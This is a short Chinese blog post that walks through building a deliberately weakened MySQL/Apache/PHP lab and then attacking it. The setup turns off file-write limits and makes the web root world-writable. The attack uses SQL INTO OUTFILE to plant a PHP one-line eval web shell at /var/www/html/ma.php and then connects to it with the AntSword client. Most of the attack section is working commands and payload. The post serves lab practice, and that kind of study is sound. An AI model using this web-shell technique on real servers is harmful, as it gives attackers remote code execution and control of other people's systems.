MySQL靶场&攻击

靶场搭建

修改配置文件

vim /etc/my.cof

[mysqld]
secure_file_priv=
local-infile=1
[mysql]
local-infile=1

安装相关环境

yum install php php-mysql -y

添加配置

vim /etc/httpd/conf/httpd.conf

AddType application/x-httpd-php-source .phps
AddType application/x-httpd-php .php

重启相关服务

systemctl restart httpd

修改权限

chmod -R o+w /var/www

攻击

use TEST;
show tables;
create table muma(cmd text);
insert into muma values(concat('<?php @eval($_POST[','''','mimi','''',']); ?>'));
select * from muma;
select * from muma into outfile '/var/www/html/ma.php';

访问 IP/ma.php

蚁剑连接

作 者：PeiyuJue

链 接： https://peiyu.serv00.net/2024/07/05/mysql靶场攻击/

来 源：Aaron的博客

版 权 声 明：本博客所有文章除特别声明外，均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有，未经允许请勿转载！